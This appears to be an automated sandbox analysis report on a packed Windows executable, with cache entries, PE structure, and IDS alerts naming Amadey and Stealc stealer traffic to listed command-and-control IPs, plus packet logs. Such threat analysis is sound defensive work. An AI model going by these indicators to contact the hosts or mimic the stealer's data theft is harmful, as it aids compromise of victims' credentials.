URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["jim montgomery st louis blues","nyt strands hints","cryptocurrency shiba inu","disney dreamlight valley","ny mets juan soto","from season 3 episode 10 finale","hyundai recalls","free fortnite redeem codes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgovbS8wMnFtal8wEixKaW0gTW9udGdvbWVyeSDigJQgQ2FuYWRpYW4gaWNlIGhvY2tleSBjb2FjaDLjEGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWFBQUFEQVFFQkFRQUFBQUFBQUFBQUFBQUZCZ2NFQXdJQS84UUFOUkFBQWdFREFnTUZCZ1VFQXdBQUFBQUFBUUlEQkFVUkFDRVNNVUVHRTFGaGNSUVZJakpDZ1NPUm9iSEJCMlBSOEJZa1V2L0VBQmtCQUFNQkFRRUFBQUFBQUFB

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435261440732198
Encrypted:	false
SSDEEP:	3072:fskXyPqO7UX1Hme9kZbs4Voc5aSnXqwQ2i6o:fHyWFHrp4Voc5aSnawQ8o
MD5:	95DA8577C1520BCA31F2A7AD72DA84DB
SHA1:	E1BE860F1215FACAE35B1C581416F6495149AE09
SHA-256:	CC68E564722A89101D58B398D523B5CEFCA19325DE61FADCA035327C06F73182
SHA-512:	47DCF8C3BC45F272DE4B75829EA903196CD36CFCACB7325B08F17A435A211B9E0E7BA69D65C40AB85537A7B40C647D0C21ECB7F77C2084E8F124F6E2E1D14B7A
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943800098090469
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'830'912 bytes
MD5:	2d18893c749801ded276b3a6de8af505
SHA1:	041522fe848cacbc0ee1774d1777fc6db61b5759
SHA256:	9f72779cbf98473f3a273b2932fdf342b3d5e56687f745621081a599f42f2c57
SHA512:	45c29265dbe834fd12ef6ea0a0200e1cfadf3bac868ed919149c88dc40a19051ac6a8a8a38663ce0e867fe5ac32ab23db83c07e444b93a7d7747cccc32edc4e0
SSDEEP:	24576:ZwGCLxA49nDmUj3/AIuoReflgjYx9a9DcY8+wKW8E49kajQ18aAso/j0:Zwxxnii3/At2efkYxgAZKZvkaxaYo
TLSH:	8E8533B31D2F275FDA3F667A253CC228F73800E5269857896C4BCD6EE8474CB61584E8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB81888BEBAh
bswap esi
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FB81888DEB5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
mov ah, 90h
pop edx
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	9c54cdc92e8f401fa60da824dea9dddc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	afa4dfae40f8324607c7ceb913f5346a	False	0.796875	data	6.037423456830271	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ad000	0x200	e9c80e4db861527e36a9d2853e4e392b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xsqfukre	0x4f9000	0x1a6000	0x1a5200	38ba088a586d480c0d5c1d745cd8a3f0	False	0.9943626632531909	data	7.952680273964321	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aqionntw	0x69f000	0x1000	0x400	2e089638b555ee018bdac97860bac67f	False	0.8056640625	data	6.228422183626651	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a0000	0x3000	0x2200	a4cce1bf8424b8d9a76cca2881c67ac9	False	0.06870404411764706	DOS executable (COM)	0.7302629608652371	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69de54	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T07:53:07.609549+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	52180	TCP
2024-11-25T07:53:18.058011+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-11-25T07:53:18.830782+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-11-25T07:53:18.952055+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49722	TCP
2024-11-25T07:53:19.276484+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-11-25T07:53:19.398177+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49722	TCP
2024-11-25T07:53:20.822133+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-11-25T07:53:21.742420+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49722	185.215.113.206	80	TCP
2024-11-25T07:53:45.262142+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:47.416631+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:48.748720+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:49.898669+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:53.621511+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:54.745657+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:54:00.737883+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49955	185.215.113.16	80	TCP
2024-11-25T07:55:06.042685+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	52171	185.215.113.43	80	TCP
2024-11-25T07:55:10.816724+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	52184	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 07:53:07.609549046 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:07.611443043 CET	49711	443	192.168.2.6	20.198.119.84
Nov 25, 2024 07:53:07.611490011 CET	49711	443	192.168.2.6	20.198.119.84
Nov 25, 2024 07:53:07.611598015 CET	49711	443	192.168.2.6	20.198.119.84
Nov 25, 2024 07:53:07.730995893 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:07.731019974 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:07.731028080 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:08.231264114 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:08.274995089 CET	49711	443	192.168.2.6	20.198.119.84
Nov 25, 2024 07:53:08.432467937 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:08.434956074 CET	49711	443	192.168.2.6	20.198.119.84
Nov 25, 2024 07:53:08.554590940 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:08.984332085 CET	443	49711	20.198.119.84	192.168.2.6
Nov 25, 2024 07:53:09.025029898 CET	49711	443	192.168.2.6	20.198.119.84
Nov 25, 2024 07:53:09.118843079 CET	49673	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:09.165702105 CET	49674	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:09.462536097 CET	49672	443	192.168.2.6	173.222.162.64
Nov 25, 2024 07:53:09.659969091 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:09.660021067 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:09.660088062 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:09.660757065 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:09.660774946 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:11.881162882 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.881247044 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.911067009 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.911127090 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:11.911293030 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.911546946 CET	49713	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.911567926 CET	443	49713	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:11.914160967 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.914220095 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:11.914313078 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.914591074 CET	49714	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.914608002 CET	443	49714	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:11.945919037 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.945976019 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:11.946070910 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.946367025 CET	49715	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:11.946382046 CET	443	49715	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.000787973 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.000802994 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.000842094 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.000895977 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.000905991 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.003963947 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.004070044 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.010651112 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.010662079 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.010931969 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.014134884 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.014254093 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.014261007 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.014576912 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.059334040 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.405628920 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.405651093 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.405718088 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:12.409636974 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.411171913 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.411273003 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:12.411290884 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.419723034 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.419759989 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.419874907 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:12.428072929 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.428145885 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.428281069 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:12.436399937 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.436486006 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:12.436567068 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:12.693154097 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.693223000 CET	443	49712	20.198.118.190	192.168.2.6
Nov 25, 2024 07:53:12.693466902 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.693530083 CET	49712	443	192.168.2.6	20.198.118.190
Nov 25, 2024 07:53:12.693547964 CET	443	49712	20.198.118.190	192.168.2.6
